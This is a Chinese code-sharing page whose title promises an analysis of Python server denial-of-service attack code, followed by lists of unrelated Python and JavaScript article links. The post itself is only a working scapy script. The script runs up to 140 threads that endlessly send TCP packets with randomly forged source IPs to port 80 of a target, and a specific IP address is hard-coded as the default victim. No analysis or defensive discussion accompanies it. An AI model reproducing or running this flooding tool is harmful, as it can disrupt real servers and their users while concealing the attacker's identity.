分析python服务器拒绝服务攻击代码


Posted in Python onJanuary 16, 2014
# -*- coding: cp936 -*-
from scapy.all import *
from threading import Thread,activeCount
from random import randint
class Loop(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        ip = str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))+'.'\
             +str(randint(0,255))
        sr1(IP(src = ip,dst = self.remoteAddr)/TCP(dport = 80),retry = 0,verbose = 0,timeout = 3)
        
class Main(Thread):
    def __init__(self,remoteAddr):
        Thread.__init__(self)
        self.remoteAddr = remoteAddr
    def run(self):
        limit = 140
        total = 0
        while True:
            if activeCount() < limit:
                Loop(remoteAddr = self.remoteAddr).start()
                total = total + 1
            print '目前已经进行的HttpFlood的次数为:',total
if __name__ == '__main__':
    remoteAddr = raw_input('IP=')
    if remoteAddr == '':
        remoteAddr = '202.103.25.12'
    Main(remoteAddr = remoteAddr).start()
Python 相关文章推荐
Python 时间操作例子和时间格式化参数小结
Apr 24 Python
Python时间模块datetime、time、calendar的使用方法
Jan 13 Python
Python手机号码归属地查询代码
May 04 Python
Python3 中文文件读写方法
Jan 23 Python
简单实现python聊天程序
Apr 01 Python
Python判断对象是否相等及eq函数的讲解
Feb 25 Python
python数据挖掘需要学的内容
Jun 23 Python
详解Python并发编程之从性能角度来初探并发编程
Aug 23 Python
详解python中*号的用法
Oct 21 Python
什么是Python包的循环导入
Sep 08 Python
pytorch训练神经网络爆内存的解决方案
May 22 Python
用Python selenium实现淘宝抢单机器人
Jun 18 Python
python获取豆瓣电影简介代码分享
Jan 16 #Python
linux系统使用python获取cpu信息脚本分享
Jan 15 #Python
linux系统使用python监测系统负载脚本分享
Jan 15 #Python
linux系统使用python获取内存使用信息脚本分享
Jan 15 #Python
linux系统使用python监测网络接口获取网络的输入输出
Jan 15 #Python
linux系统使用python监控apache服务器进程脚本分享
Jan 15 #Python
Python获取当前时间的方法
Jan 14 #Python
You might like
php导出csv格式数据并将数字转换成文本的思路以及代码分享
2014/06/05 PHP
PHP缓存机制Output Control详解
2014/07/14 PHP
网页右侧悬浮滚动在线qq客服代码示例
2014/04/28 Javascript
浏览器缩放检测的js代码
2014/09/28 Javascript
AngularJS内置指令
2015/02/04 Javascript
jQuery.ajax实现根据不同的Content-Type做出不同的响应
2016/11/03 Javascript
JavaScript验证知识整理
2017/03/24 Javascript
Express URL跳转(重定向)的实现方法
2017/04/07 Javascript
JS操作时间 - UNIX时间戳的简单介绍(必看篇)
2017/08/16 Javascript
vue监听键盘事件的快捷方法【推荐】
2018/07/11 Javascript
node链接mongodb数据库的方法详解【阿里云服务器环境ubuntu】
2019/03/07 Javascript
轻松学习JavaScript函数中的 Rest 参数
2019/05/30 Javascript
JS变量提升原理与用法实例浅析
2020/05/22 Javascript
Javascript表单序列化原理及实现代码详解
2020/10/30 Javascript
[01:20]DOTA2 2017国际邀请赛冠军之路无止竞
2017/06/19 DOTA
Python查看多台服务器进程的脚本分享
2014/06/11 Python
Python素数检测实例分析
2015/06/15 Python
python数据结构之列表和元组的详解
2017/09/23 Python
Python 查看文件的编码格式方法
2017/12/21 Python
Python使用Scrapy保存控制台信息到文本解析
2017/12/27 Python
numpy中以文本的方式存储以及读取数据方法
2018/06/04 Python
pandas 空数据处理方法详解
2019/11/02 Python
Python模块 _winreg操作注册表
2020/02/05 Python
Python实现常见的几种加密算法(MD5,SHA-1,HMAC,DES/AES,RSA和ECC)
2020/05/09 Python
用python读取xlsx文件
2020/12/17 Python
巴西最好的男鞋:Rafarillo
2018/05/25 全球购物
介绍一下#error预处理
2015/09/25 面试题
测试时代收集的软件测试面试题
2013/09/25 面试题
关于人生的感言
2014/01/17 职场文书
婚礼秀策划方案
2014/05/19 职场文书
导游词300字
2015/02/13 职场文书
毕业论文答辩稿范文
2015/06/23 职场文书
2016大学生入党积极分子心得体会
2016/01/06 职场文书
导游词之湖州-太湖
2019/10/11 职场文书
django 认证类配置实现
2021/11/11 Python
动画《朋友游戏》公开佐藤友生绘制的开播纪念绘
2022/04/06 日漫